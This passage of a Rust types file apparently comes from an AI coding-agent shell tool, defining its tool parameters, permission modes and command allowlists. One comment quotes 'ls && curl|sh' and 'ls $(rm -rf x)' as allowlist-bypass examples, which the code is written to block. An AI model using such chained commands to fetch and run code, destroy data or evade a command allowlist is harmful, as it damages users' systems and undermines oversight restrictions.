winx_code_agent/types.rs
1use schemars::JsonSchema;
2use serde::{Deserialize, Serialize};
3
4pub fn normalize_thread_id(thread_id: &str) -> String {
5 let filtered: String = thread_id.chars().filter(|c| c.is_alphanumeric() || *c == '_').collect();
6 // If filtering removed characters, distinct ids could collapse to the same
7 // form ("user-1" and "user1" both become "user1"), silently sharing one
8 // session and one state file. Append a short, stable hash of the ORIGINAL so
9 // distinct inputs stay distinct. Already-safe ids (the common case, incl.
10 // generated `tid_*`) and ids that filter to empty are returned unchanged.
11 if filtered.is_empty() || filtered == thread_id {
12 filtered
13 } else {
14 format!("{filtered}_{:08x}", fnv1a_32(thread_id))
15 }
16}
17
18/// Marker strings (literal or regex) that let `wait_for_turn` drive an arbitrary
19/// interactive TUI without a hand-written recognizer. Loaded from the
20/// `WINX_TURN_RECOGNIZER_CONFIG` env var (JSON) when the recognizer hint is
21/// `configurable`. Each marker is matched case-insensitively; an invalid regex
22/// falls back to a literal-substring match.
23#[derive(Debug, Clone, Default, Deserialize)]
24pub struct TurnRecognizerMarkers {
25 /// Screen is actively working (scanned across the whole screen). E.g.
26 /// `["esc to interrupt", "generating"]`.
27 #[serde(default)]
28 pub busy: Vec<String>,
29 /// Screen is waiting for input (scanned in the tail). E.g. `["❯", "›"]`.
30 #[serde(default)]
31 pub awaiting_input: Vec<String>,
32 /// Screen is asking for confirmation (scanned in the tail). E.g.
33 /// `["do you want", "y/n"]`.
34 #[serde(default)]
35 pub awaiting_approval: Vec<String>,
36}
37
38impl TurnRecognizerMarkers {
39 /// True when no markers are configured (nothing to recognize).
40 pub fn is_empty(&self) -> bool {
41 self.busy.is_empty() && self.awaiting_input.is_empty() && self.awaiting_approval.is_empty()
42 }
43}
44
45/// FNV-1a 32-bit — a tiny, dependency-free hash that is stable across runs and
46/// compiler versions (unlike `DefaultHasher`), so a normalized `thread_id`
47/// resolves to the same session and state file after a server restart.
48fn fnv1a_32(s: &str) -> u32 {
49 let mut hash: u32 = 0x811c_9dc5;
50 for byte in s.bytes() {
51 hash ^= u32::from(byte);
52 hash = hash.wrapping_mul(0x0100_0193);
53 }
54 hash
55}
56
57/// Type of shell environment initialization
58///
59/// This enum represents the different ways the Initialize tool can be called,
60/// depending on the current state of the conversation and what the user is requesting.
61#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
62#[serde(rename_all = "snake_case")]
63pub enum InitializeType {
64 /// Initial call at the start of a conversation
65 ///
66 /// This should be used for the first Initialize call in a conversation.
67 /// It sets up a new shell environment with the specified parameters.
68 FirstCall,
69
70 /// User requested to change the mode
71 ///
72 /// This should be used when the user asks to switch between modes
73 /// (e.g., from "wcgw" to "architect" or "`code_writer`").
74 UserAskedModeChange,
75
76 /// Reset the shell environment due to issues
77 ///
78 /// This should be used when the shell environment appears to be in a bad state
79 /// and needs to be reset to continue properly.
80 ResetShell,
81
82 /// User requested to change the workspace
83 ///
84 /// This should be used when the user asks to switch to a different
85 /// workspace or project directory during the conversation.
86 UserAskedChangeWorkspace,
87}
88
89#[derive(Debug, Clone, PartialEq)]
90pub enum ModeName {
91 Wcgw,
92 Architect,
93 CodeWriter,
94}
95
96// Custom serializer implementation to ensure values are properly quoted in JSON
97impl Serialize for ModeName {
98 fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
99 where
100 S: serde::Serializer,
101 {
102 match self {
103 ModeName::Wcgw => serializer.serialize_str("wcgw"),
104 ModeName::Architect => serializer.serialize_str("architect"),
105 ModeName::CodeWriter => serializer.serialize_str("code_writer"),
106 }
107 }
108}
109
110// Custom deserializer to support multiple aliases
111impl<'de> Deserialize<'de> for ModeName {
112 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
113 where
114 D: serde::Deserializer<'de>,
115 {
116 let s = String::deserialize(deserializer)?;
117 match s.as_str() {
118 "wcgw" => Ok(ModeName::Wcgw),
119 "architect" => Ok(ModeName::Architect),
120 "code_writer" | "code_write" | "code-writer" => Ok(ModeName::CodeWriter),
121 _ => Err(serde::de::Error::custom(format!("Unknown mode name: {s}"))),
122 }
123 }
124}
125
126// Implement schema generation for JSON schema since we removed the derive
127impl JsonSchema for ModeName {
128 fn schema_name() -> std::borrow::Cow<'static, str> {
129 "ModeName".into()
130 }
131
132 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
133 schemars::Schema::new_ref("#/definitions/ModeName".to_string())
134 }
135}
136
137#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq, Default)]
138pub struct CodeWriterConfig {
139 #[serde(default)]
140 pub allowed_globs: AllowedGlobs,
141 #[serde(default)]
142 pub allowed_commands: AllowedCommands,
143}
144
145impl CodeWriterConfig {
146 pub fn update_relative_globs(&mut self, workspace_root: &str) {
147 // Only process if we have a list of globs
148 if let AllowedGlobs::List(globs) = &self.allowed_globs {
149 let updated_globs = globs
150 .iter()
151 .map(|glob| {
152 if std::path::Path::new(glob).is_absolute() {
153 glob.clone()
154 } else {
155 format!("{workspace_root}/{glob}")
156 }
157 })
158 .collect();
159
160 self.allowed_globs = AllowedGlobs::List(updated_globs);
161 }
162 }
163}
164
165#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
166#[serde(untagged)]
167pub enum AllowedGlobs {
168 All(String),
169 List(Vec<String>),
170}
171
172impl Default for AllowedGlobs {
173 fn default() -> Self {
174 AllowedGlobs::All("all".to_string())
175 }
176}
177
178impl AllowedGlobs {
179 /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
180 /// Without this, a literal glob named "all" would be the only allowed path.
181 pub fn normalize(&mut self) {
182 if let AllowedGlobs::List(items) = self {
183 if items.len() == 1 && items[0] == "all" {
184 *self = AllowedGlobs::All("all".to_string());
185 }
186 }
187 }
188
189 #[allow(dead_code)]
190 pub fn is_allowed(&self, path: &str) -> bool {
191 match self {
192 AllowedGlobs::All(s) if s == "all" => true,
193 AllowedGlobs::List(globs) => globs.iter().any(|g| match glob::Pattern::new(g) {
194 Ok(pattern) => pattern.matches(path),
195 Err(_) => false,
196 }),
197 AllowedGlobs::All(_) => false,
198 }
199 }
200}
201
202#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
203#[serde(untagged)]
204pub enum AllowedCommands {
205 All(String),
206 List(Vec<String>),
207}
208
209impl Default for AllowedCommands {
210 fn default() -> Self {
211 AllowedCommands::All("all".to_string())
212 }
213}
214
215impl AllowedCommands {
216 /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
217 pub fn normalize(&mut self) {
218 if let AllowedCommands::List(items) = self {
219 if items.len() == 1 && items[0] == "all" {
220 *self = AllowedCommands::All("all".to_string());
221 }
222 }
223 }
224
225 pub fn is_allowed(&self, command_line: &str) -> bool {
226 match self {
227 AllowedCommands::All(s) if s == "all" => true,
228 AllowedCommands::All(_) => false,
229 AllowedCommands::List(commands) => {
230 // Enforce the allowlist against EVERY command the line would run
231 // (pipelines, &&/||/;, command & process substitution, subshells),
232 // not just the first whitespace token — which `ls && curl|sh` and
233 // `ls $(rm -rf x)` trivially bypassed. A parse failure is fail
234 // closed: a restricted mode must not run what it can't vet.
235 match crate::utils::bash_parser::extract_command_texts(command_line) {
236 Ok(cmds) if !cmds.is_empty() => cmds
237 .iter()
238 .all(|cmd| commands.iter().any(|allowed| command_has_prefix(cmd, allowed))),
239 _ => false,
240 }
241 }
242 }
243 }
244}
245
246/// Whether `cmd` is the allowlist entry `allowed` or a sub-invocation of it,
247/// enforcing a word boundary so `ls` does not also permit `lsof`, and
248/// `cargo test` does not permit `cargo testimony`.
249fn command_has_prefix(cmd: &str, allowed: &str) -> bool {
250 let cmd = cmd.trim();
251 let allowed = allowed.trim();
252 if allowed.is_empty() {
253 return false;
254 }
255 cmd == allowed
256 || cmd.strip_prefix(allowed).is_some_and(|rest| rest.starts_with(char::is_whitespace))
257}
258
259/// Parameters for initializing the shell environment
260///
261/// This struct represents the parameters needed to initialize or update the shell environment.
262/// It is used by the Initialize tool, which must be called before any other shell tools.
263#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone)]
264pub struct Initialize {
265 /// Initialization type, indicating the purpose of the call
266 ///
267 /// - `FirstCall`: Initial setup for a new conversation
268 /// - `UserAskedModeChange`: User requested to change the mode during a conversation
269 /// - `ResetShell`: Reset the shell if it's not working properly
270 /// - `UserAskedChangeWorkspace`: User requested to change the workspace during a conversation
271 #[serde(rename = "type")]
272 #[serde(default = "default_init_type")]
273 pub init_type: InitializeType,
274
275 /// Path to the workspace directory or file
276 ///
277 /// This can be an absolute path or a path relative to the current directory.
278 /// If it's a file, the parent directory will be used as the workspace.
279 /// If it doesn't exist and is an absolute path, it will be created.
280 /// If it's a relative path and doesn't exist, an error will be returned.
281 pub any_workspace_path: String,
282
283 /// List of files to read initially
284 ///
285 /// These files can be absolute paths or paths relative to the workspace.
286 /// They will be read and their contents provided in the response.
287 #[serde(default)]
288 pub initial_files_to_read: Vec<String>,
289
290 /// ID of a task to resume
291 ///
292 /// If provided during a `first_call`, the task with this ID will be resumed.
293 /// This allows continuing a conversation from a previous session.
294 #[serde(default = "String::new")]
295 #[serde(deserialize_with = "deserialize_string_or_null")]
296 pub task_id_to_resume: String,
297
298 /// Mode name for the shell environment
299 ///
300 /// - `wcgw`: Full permissions (default)
301 /// - `architect`: Restricted permissions, read-only
302 /// - `code_writer`: Custom permissions for code writing
303 #[serde(default = "default_mode_name")]
304 pub mode_name: ModeName,
305
306 /// ID of the thread session
307 ///
308 /// If not provided for a `first_call`, a new ID will be generated.
309 /// This ID must be included in all subsequent tool calls.
310 #[serde(default)]
311 #[serde(deserialize_with = "deserialize_string_or_null")]
312 pub thread_id: String,
313
314 /// Configuration for `code_writer` mode
315 ///
316 /// Only used when `mode_name` is "`code_writer`".
317 /// Specifies allowed commands and file globs for writing/editing.
318 #[serde(default)]
319 #[serde(deserialize_with = "deserialize_code_writer_config")]
320 pub code_writer_config: Option<CodeWriterConfig>,
321}
322
323// Custom deserializer for strings that might be null
324fn deserialize_string_or_null<'de, D>(deserializer: D) -> Result<String, D::Error>
325where
326 D: serde::Deserializer<'de>,
327{
328 // First try to deserialize as a string
329 let result = serde_json::Value::deserialize(deserializer)?;
330
331 match result {
332 // Return empty string for null values
333 serde_json::Value::Null => Ok(String::new()),
334 // If it's a string, use that
335 serde_json::Value::String(s) => {
336 // Handle "null" string specially
337 if s == "null" {
338 Ok(String::new())
339 } else {
340 Ok(s)
341 }
342 }
343 // Otherwise try to convert to a string
344 _ => match serde_json::to_string(&result) {
345 Ok(s) => Ok(s),
346 Err(_) => Ok(String::new()),
347 },
348 }
349}
350
351// Custom deserializer for code_writer_config that handles the "null" string case
352fn deserialize_code_writer_config<'de, D>(
353 deserializer: D,
354) -> Result<Option<CodeWriterConfig>, D::Error>
355where
356 D: serde::Deserializer<'de>,
357{
358 // This handles multiple possible input types
359 let value = serde_json::Value::deserialize(deserializer)?;
360
361 match value {
362 // If it's explicitly null or the string "null", return None
363 serde_json::Value::Null => Ok(None),
364 serde_json::Value::String(s) if s == "null" => Ok(None),
365 // Otherwise try to parse it as CodeWriterConfig
366 _ => {
367 match serde_json::from_value::<CodeWriterConfig>(value.clone()) {
368 Ok(config) => {
369 tracing::debug!("Successfully parsed CodeWriterConfig: {:?}", config);
370 Ok(Some(config))
371 }
372 Err(e) => {
373 // Fail loud. A malformed restricted-mode config must NOT silently
374 // degrade to `None` — `None` falls back to All commands / All globs,
375 // so the model would believe the shell is locked down while it is in
376 // fact wide open. Refuse to initialize instead.
377 tracing::error!("Failed to parse CodeWriterConfig: {}. Value: {}", e, value);
378 Err(serde::de::Error::custom(format!(
379 "Invalid code_writer config: {e}. Refusing to start with a permissive \
380 fallback — fix the allowed_commands / allowed_globs shape (or pass null \
381 to opt out explicitly)."
382 )))
383 }
384 }
385 }
386 }
387}
388
389/// Default `mode_name` for Initialize
390fn default_mode_name() -> ModeName {
391 ModeName::Wcgw
392}
393
394/// Default `init_type` for Initialize
395fn default_init_type() -> InitializeType {
396 InitializeType::FirstCall
397}
398
399// Mode types
400#[derive(Debug, Clone, Copy, PartialEq)]
401pub enum Modes {
402 Wcgw,
403 Architect,
404 CodeWriter,
405}
406
407/// Convert the wire-level `ModeName` (parsed from the `Initialize` request, with
408/// its alias spellings) into the runtime `Modes`. Done as `From` rather than a
409/// hand-written `convert_mode_name` so the compiler enforces that every `ModeName`
410/// variant maps to a `Modes` one — adding a variant to either enum without the
411/// other becomes a compile error here.
412impl From<&ModeName> for Modes {
413 fn from(name: &ModeName) -> Self {
414 match name {
415 ModeName::Wcgw => Modes::Wcgw,
416 ModeName::Architect => Modes::Architect,
417 ModeName::CodeWriter => Modes::CodeWriter,
418 }
419 }
420}
421
422impl std::fmt::Display for Modes {
423 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
424 match self {
425 Modes::Wcgw => write!(f, "wcgw"),
426 Modes::Architect => write!(f, "architect"),
427 Modes::CodeWriter => write!(f, "code_writer"),
428 }
429 }
430}
431
432// Implement schema generation for Modes
433impl JsonSchema for Modes {
434 fn schema_name() -> std::borrow::Cow<'static, str> {
435 "Modes".into()
436 }
437
438 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
439 schemars::Schema::new_ref("#/definitions/Modes".to_string())
440 }
441}
442
443/// Special key types for shell interaction
444/// Matches wcgw Python's Specials enum exactly
445#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, JsonSchema)]
446pub enum SpecialKey {
447 Enter,
448 #[serde(rename = "Key-up")]
449 KeyUp,
450 #[serde(rename = "Key-down")]
451 KeyDown,
452 #[serde(rename = "Key-left")]
453 KeyLeft,
454 #[serde(rename = "Key-right")]
455 KeyRight,
456 #[serde(rename = "Ctrl-c")]
457 CtrlC,
458 #[serde(rename = "Ctrl-d")]
459 CtrlD,
460 #[serde(rename = "Ctrl-z")]
461 CtrlZ,
462}
463
464/// Parameters for the `ReadFiles` tool
465///
466/// This struct represents the parameters needed to read one or more files.
467/// Line ranges can be specified in the path itself (e.g., "file.rs:10-20").
468#[derive(Debug, Clone, Serialize, JsonSchema)]
469pub struct ReadFiles {
470 /// List of file paths to read.
471 /// Supports line range syntax: "file.rs:10-20" for lines 10-20,
472 /// "file.rs:10-" for line 10 onwards, "file.rs:-20" for first 20 lines.
473 pub file_paths: Vec<String>,
474
475 /// Optional thread ID identifying the shell session to operate on. When
476 /// omitted, the most recently active session is used.
477 #[serde(default)]
478 pub thread_id: String,
479
480 // Internal fields - not part of MCP schema (parsed from file_paths)
481 #[serde(skip)]
482 #[schemars(skip)]
483 pub start_line_nums: Vec<Option<usize>>,
484
485 #[serde(skip)]
486 #[schemars(skip)]
487 pub end_line_nums: Vec<Option<usize>>,
488}
489
490// Custom deserializer for ReadFiles - parses line ranges from file paths like wcgw Python
491impl<'de> Deserialize<'de> for ReadFiles {
492 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
493 where
494 D: serde::Deserializer<'de>,
495 {
496 #[derive(Deserialize)]
497 struct ReadFilesHelper {
498 file_paths: Option<Vec<String>>,
499 #[serde(default)]
500 thread_id: Option<String>,
501 }
502
503 let input = serde_json::Value::deserialize(deserializer)?;
504
505 if !input.is_object() {
506 if input.is_null() {
507 return Err(serde::de::Error::custom("Cannot convert null to ReadFiles object."));
508 }
509 return Err(serde::de::Error::custom(format!("Expected object, got {input}")));
510 }
511
512 let helper: ReadFilesHelper = serde_json::from_value(input)
513 .map_err(|e| serde::de::Error::custom(format!("Failed to parse ReadFiles: {e}")))?;
514
515 let thread_id = helper.thread_id.unwrap_or_default();
516 let file_paths = match helper.file_paths {
517 Some(paths) if !paths.is_empty() => paths,
518 Some(_) => return Err(serde::de::Error::custom("file_paths must not be empty.")),
519 None => return Err(serde::de::Error::custom("file_paths is required.")),
520 };
521
522 // Parse line ranges from file paths (like wcgw Python's model_post_init)
523 let mut clean_file_paths = Vec::with_capacity(file_paths.len());
524 let mut start_line_nums = Vec::with_capacity(file_paths.len());
525 let mut end_line_nums = Vec::with_capacity(file_paths.len());
526
527 for path in file_paths {
528 let (clean_path, start, end) = parse_file_path_with_line_range(&path);
529 clean_file_paths.push(clean_path);
530 start_line_nums.push(start);
531 end_line_nums.push(end);
532 }
533
534 Ok(ReadFiles { file_paths: clean_file_paths, thread_id, start_line_nums, end_line_nums })
535 }
536}
537
538fn parse_file_path_with_line_range(path: &str) -> (String, Option<usize>, Option<usize>) {
539 let Some((potential_path, line_spec)) = path.rsplit_once(':') else {
540 return (path.to_string(), None, None);
541 };
542
543 let Some((start, end)) = parse_line_spec(line_spec) else {
544 return (path.to_string(), None, None);
545 };
546
547 (potential_path.to_string(), start, end)
548}
549
550fn parse_line_spec(line_spec: &str) -> Option<(Option<usize>, Option<usize>)> {
551 if line_spec.chars().all(|c| c.is_ascii_digit()) {
552 return line_spec.parse().ok().map(|line| (Some(line), None));
553 }
554
555 let (start, end) = line_spec.split_once('-')?;
556
557 if start.is_empty() && !end.is_empty() && end.chars().all(|c| c.is_ascii_digit()) {
558 return end.parse().ok().map(|line| (None, Some(line)));
559 }
560
561 if !start.is_empty()
562 && start.chars().all(|c| c.is_ascii_digit())
563 && (end.is_empty() || end.chars().all(|c| c.is_ascii_digit()))
564 {
565 let start = start.parse().ok()?;
566 let end = if end.is_empty() { None } else { Some(end.parse().ok()?) };
567 return Some((Some(start), end));
568 }
569
570 None
571}
572
573impl ReadFiles {
574 /// Line numbers are always shown (like wcgw Python)
575 pub fn show_line_numbers(&self) -> bool {
576 true
577 }
578
579 /// Get the clean file path without line range suffix
580 pub fn get_clean_path(&self, index: usize) -> String {
581 parse_file_path_with_line_range(&self.file_paths[index]).0
582 }
583}
584
585/// Default true value for `status_check`
586fn default_true() -> bool {
587 true
588}
589
590/// Types of actions that can be performed with the `BashCommand` tool
591#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
592#[serde(tag = "type", rename_all = "snake_case")]
593pub enum BashCommandAction {
594 /// Execute a shell command
595 Command {
596 command: String,
597 #[serde(default)]
598 is_background: bool,
599 /// Opt out of the single-top-level-statement guard. By default winx
600 /// rejects multi-statement commands (`a; b`, `a && b; c`, etc.) so the
601 /// agent has to be explicit about what it's running. Set this to true
602 /// when you knowingly want to run a composite command without
603 /// wrapping it in `bash -lc '...'`.
604 #[serde(default)]
605 allow_multi: bool,
606 },
607
608 /// Check the status of a running command.
609 ///
610 /// By default returns only what changed since the previous call — agents
611 /// driving long-lived TUIs do not need the cumulative buffer on every poll.
612 /// Set `verbose: true` to receive a fresh snapshot regardless of the dedup
613 /// hash, or `scrollback_lines: Some(N)` to also pull the last N lines from
614 /// the PTY ringbuffer.
615 StatusCheck {
616 #[serde(default = "default_true")]
617 status_check: bool,
618 bg_command_id: Option<String>,
619 #[serde(default)]
620 scrollback_lines: Option<usize>,
621 #[serde(default)]
622 verbose: bool,
623 },
624
625 /// Send text to a running command. Set `submit` to true to append a carriage
626 /// return after the bytes so the target program receives the input as a
627 /// completed line (matches what hitting Enter would do in a TUI).
628 SendText {
629 send_text: String,
630 bg_command_id: Option<String>,
631 #[serde(default)]
632 submit: bool,
633 },
634
635 /// Send special keys to a running command. `submit` works the same as in
636 /// `SendText`.
637 SendSpecials {
638 send_specials: Vec<SpecialKey>,
639 bg_command_id: Option<String>,
640 #[serde(default)]
641 submit: bool,
642 },
643
644 /// Send ASCII characters to a running command. `submit` works the same as in
645 /// `SendText`.
646 SendAscii {
647 send_ascii: Vec<u8>,
648 bg_command_id: Option<String>,
649 #[serde(default)]
650 submit: bool,
651 },
652
653 /// Snapshot the live, stable screen of a shell's terminal: the consolidated
654 /// view a human would see right now (cursor moves, redraws, alternate-screen
655 /// and synchronized-output already applied), ANSI stripped. Unlike
656 /// `status_check`, it never stacks redraw generations and never waits — a
657 /// point-in-time photo, ideal for reading an interactive TUI's current frame
658 /// (the `claude` CLI, vim, htop, fzf).
659 Screen {
660 #[serde(default = "default_true")]
661 screen: bool,
662 bg_command_id: Option<String>,
663 /// Last N visible lines to return (0 or omitted = full screen buffer).
664 #[serde(default)]
665 lines: Option<usize>,
666 /// When true, return only the lines that CHANGED since the last `screen`
667 /// look (big token savings when polling a TUI frame-by-frame) instead of
668 /// the whole frame. First look, or a large change, still returns full.
669 #[serde(default)]
670 diff: bool,
671 },
672
673 /// Block until an interactive TUI finishes its turn and is ready for input.
674 /// Combines generic quiescence (the screen stopped changing for `quiet_ms`)
675 /// with a per-app recognizer, then returns the stable snapshot plus the
676 /// detected turn state (`busy` / `awaiting_input` / `awaiting_approval`).
677 WaitForTurn {
678 #[serde(default = "default_true")]
679 wait_for_turn: bool,
680 bg_command_id: Option<String>,
681 /// Recognizer hint: `auto` (default), `claude`, `codex`, `antigravity`
682 /// (aka `agy`) or `generic`.
683 #[serde(default)]
684 recognizer: Option<String>,
685 /// Quiet window in ms — the screen must be unchanged this long to count
686 /// as idle (default 600).
687 #[serde(default)]
688 quiet_ms: Option<u64>,
689 /// Hard cap in seconds before returning regardless (default 30).
690 #[serde(default)]
691 timeout_seconds: Option<f32>,
692 /// Visible lines to return in the final snapshot (0 or omitted = full).
693 #[serde(default)]
694 lines: Option<usize>,
695 },
696}
697
698/// Parameters for the `BashCommand` tool
699#[derive(Debug, Clone, Serialize, JsonSchema)]
700pub struct BashCommand {
701 /// The action to perform (command, status check, etc.)
702 pub action_json: BashCommandAction,
703
704 /// Optional timeout in seconds to wait for command completion
705 #[serde(default)]
706 #[serde(skip_serializing_if = "Option::is_none")]
707 pub wait_for_seconds: Option<f32>,
708
709 /// The thread ID for this session
710 #[serde(default)]
711 pub thread_id: String,
712}
713
714// Custom deserialization for BashCommand to handle string-encoded action_json
715impl<'de> Deserialize<'de> for BashCommand {
716 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
717 where
718 D: serde::Deserializer<'de>,
719 {
720 let input = serde_json::Value::deserialize(deserializer)?;
721 let serde_json::Value::Object(mut map) = input else {
722 return Err(serde::de::Error::custom("BashCommand parameters must be an object."));
723 };
724
725 let wait_for_seconds = map
726 .remove("wait_for_seconds")
727 .map(serde_json::from_value)
728 .transpose()
729 .map_err(serde::de::Error::custom)?;
730 let thread_id = map
731 .remove("thread_id")
732 .map(thread_id_from_value)
733 .transpose()
734 .map_err(serde::de::Error::custom)?
735 .unwrap_or_default();
736 let action_json_value = map.remove("action_json").unwrap_or(serde_json::Value::Object(map));
737
738 // Process action_json which could be a string or an object
739 let action_json = match action_json_value {
740 serde_json::Value::String(s) => {
741 // If it's a string, normalize newlines and try to parse it as JSON
742 // Replace literal newlines with space to avoid JSON parsing errors
743 let sanitized = s.replace('\n', " ");
744 match serde_json::from_str(&sanitized) {
745 Ok(json) => normalize_action_json(json),
746 Err(e) => {
747 // If strict JSON parsing fails, try to be more lenient
748 // For commands containing literal newlines, just wrap the string in a command object
749 tracing::warn!(
750 "Failed to parse action_json as JSON, trying fallback: {}",
751 e
752 );
753
754 // Check for common JSON syntax issues
755 if s.contains("command") && s.contains('{') && s.contains('}') {
756 // It looks like JSON but has issues, let's try to sanitize it
757
758 // Detailed error for troubleshooting
759 tracing::debug!("JSON parse error on: {}", s);
760
761 // Common issues: unescaped quotes, newlines, tabs
762 let re_sanitized = s
763 .replace('\n', "\\n") // Replace newlines with escaped newlines
764 .replace('\r', "\\r") // Replace carriage returns with escaped versions
765 .replace('\t', "\\t"); // Replace tabs with escaped versions
766
767 // Attempt to fix unquoted field values (e.g., convert {field: value} to {"field": "value"})
768 let re_sanitized = if !s.contains('"') && s.contains(':') {
769 // Very likely unquoted keys/values
770 tracing::debug!("Attempting to fix unquoted JSON keys/values");
771 re_sanitized
772 } else {
773 re_sanitized
774 };
775
776 match serde_json::from_str(&re_sanitized) {
777 Ok(json) => normalize_action_json(json),
778 Err(err) => {
779 // Log the specific parsing error for debugging
780 tracing::error!("Secondary JSON parse error: {}", err);
781 // Last resort fallback - assume it's a command string
782 // MUST include "type": "command" for serde tagged enum
783 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
784 }
785 }
786 } else {
787 // Assume it's a simple command string
788 // MUST include "type": "command" for serde tagged enum
789 tracing::info!("Treating as simple command: {}", s);
790 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
791 }
792 }
793 }
794 }
795 // If it's already an object or other JSON value, normalize legacy
796 // WCGW-style shorthand such as {"command": "..."}.
797 value => normalize_action_json(value),
798 };
799
800 // Now deserialize the action_json to our BashCommandAction enum
801 let mut action: BashCommandAction =
802 serde_json::from_value(action_json.clone()).map_err(|e| {
803// Log both the error and the problematic JSON for debugging
804tracing::error!(
805 "Failed to deserialize action_json to BashCommandAction: {}\nProblematic JSON: {}",
806 e,
807 action_json
808);
809
810// For the SyntaxError: Unexpected token case
811let err_str = e.to_string();
812if err_str.contains("unexpected token") || err_str.contains("Unexpected token") {
813 return serde::de::Error::custom(format!(
814 "JSON syntax error: {e}. Please check your JSON structure. Each field name should be in quotes, and string values should be in quotes."
815 ));
816}
817
818serde::de::Error::custom(format!("Invalid action_json: {e}. Please ensure your JSON is properly formatted."))
819 })?;
820
821 // Return the properly constructed BashCommand
822 Ok(BashCommand {
823 action_json: action,
824 wait_for_seconds,
825 thread_id: normalize_thread_id(&thread_id),
826 })
827 }
828}
829
830fn thread_id_from_value(value: serde_json::Value) -> std::result::Result<String, String> {
831 match value {
832 serde_json::Value::Null => Ok(String::new()),
833 serde_json::Value::String(value) => Ok(value),
834 other => Err(format!("thread_id must be a string or null, got {other}")),
835 }
836}
837
838fn normalize_action_json(mut value: serde_json::Value) -> serde_json::Value {
839 let serde_json::Value::Object(map) = &mut value else {
840 return value;
841 };
842
843 if let Some(serde_json::Value::String(command)) = map.get_mut("command") {
844 *command = sanitize_shell_string(command);
845 }
846
847 if map.contains_key("type") {
848 return value;
849 }
850
851 let inferred_type = if map.contains_key("command") {
852 Some("command")
853 } else if map.contains_key("status_check") {
854 Some("status_check")
855 } else if map.contains_key("send_text") {
856 Some("send_text")
857 } else if map.contains_key("send_specials") {
858 Some("send_specials")
859 } else if map.contains_key("send_ascii") {
860 Some("send_ascii")
861 } else if map.contains_key("screen") {
862 Some("screen")
863 } else if map.contains_key("wait_for_turn") {
864 Some("wait_for_turn")
865 } else {
866 None
867 };
868
869 if let Some(action_type) = inferred_type {
870 map.insert("type".to_string(), serde_json::Value::String(action_type.to_string()));
871 }
872
873 value
874}
875
876fn sanitize_shell_string(value: &str) -> String {
877 value.replace('\0', "\\x00")
878}
879
880// Bash command mode
881#[derive(Debug, Clone, JsonSchema, PartialEq)]
882pub struct BashCommandMode {
883 pub bash_mode: BashMode,
884 pub allowed_commands: AllowedCommands,
885}
886
887#[derive(Debug, Clone, Copy, JsonSchema, PartialEq)]
888pub enum BashMode {
889 NormalMode,
890 RestrictedMode,
891}
892
893// File edit mode
894#[derive(Debug, Clone, JsonSchema, PartialEq)]
895pub struct FileEditMode {
896 pub allowed_globs: AllowedGlobs,
897}
898
899// Write if empty mode
900#[derive(Debug, Clone, JsonSchema, PartialEq)]
901pub struct WriteIfEmptyMode {
902 pub allowed_globs: AllowedGlobs,
903}
904
905/// Parameters for the `FileWriteOrEdit` tool
906///
907/// This struct represents the parameters needed to write or edit a file
908/// with optional search/replace blocks for partial edits.
909#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
910pub struct FileWriteOrEdit {
911 /// Path to the file to write or edit
912 ///
913 /// This must be an absolute path (~ allowed).
914 pub file_path: String,
915
916 /// Percentage of the file that will be changed
917 ///
918 /// If > 50%, the content is treated as the entire file content.
919 /// If <= 50%, the content is treated as search/replace blocks.
920 pub percentage_to_change: u32,
921
922 /// Content for the file or search/replace blocks
923 ///
924 /// If `percentage_to_change` > 50%, this is the entire file content.
925 /// If `percentage_to_change` <= 50%, this contains search/replace blocks
926 /// in the format:
927 /// ```text
928 /// <<<<<<< SEARCH
929 /// old content to find
930 /// =======
931 /// new content to replace with
932 /// >>>>>>> REPLACE
933 /// ```
934 pub text_or_search_replace_blocks: String,
935
936 /// The thread ID for this session
937 pub thread_id: String,
938}
939
940/// One file's worth of edits in a [`MultiFileEdit`] batch. Same semantics as the
941/// corresponding [`FileWriteOrEdit`] fields.
942#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
943pub struct FileEditEntry {
944 /// Path to the file to write or edit (absolute, ~ allowed).
945 pub file_path: String,
946 /// If > 50%, the content is the entire file; if <= 50%, search/replace blocks.
947 pub percentage_to_change: u32,
948 /// Full file content or search/replace blocks (see `FileWriteOrEdit`).
949 pub text_or_search_replace_blocks: String,
950}
951
952/// Parameters for the `MultiFileEdit` tool: apply edits across several files
953/// all-or-nothing at the COMPUTE stage.
954///
955/// Every file is validated and its new content computed in memory first; only
956/// if ALL succeed are any writes performed. So a SEARCH that fails to match in
957/// the last file leaves the first files untouched. The write stage is a sequence
958/// of atomic single-file renames and stops at the first I/O failure (already
959/// written files are not rolled back, which is reported clearly).
960#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
961pub struct MultiFileEdit {
962 /// Two or more files to edit together. For a single file use `FileWriteOrEdit`.
963 pub files: Vec<FileEditEntry>,
964
965 /// The thread ID for this session
966 pub thread_id: String,
967}
968
969/// Parameters for the `UndoEdit` tool: revert a file to its content before the
970/// last `FileWriteOrEdit`/`MultiFileEdit` in this session.
971#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
972pub struct UndoEdit {
973 /// Path of the file whose last edit should be reverted (absolute, ~ allowed).
974 pub file_path: String,
975
976 /// The thread ID for this session
977 pub thread_id: String,
978}
979
980/// Parameters for the `ContextSave` tool
981///
982/// This struct represents the parameters needed to save context information
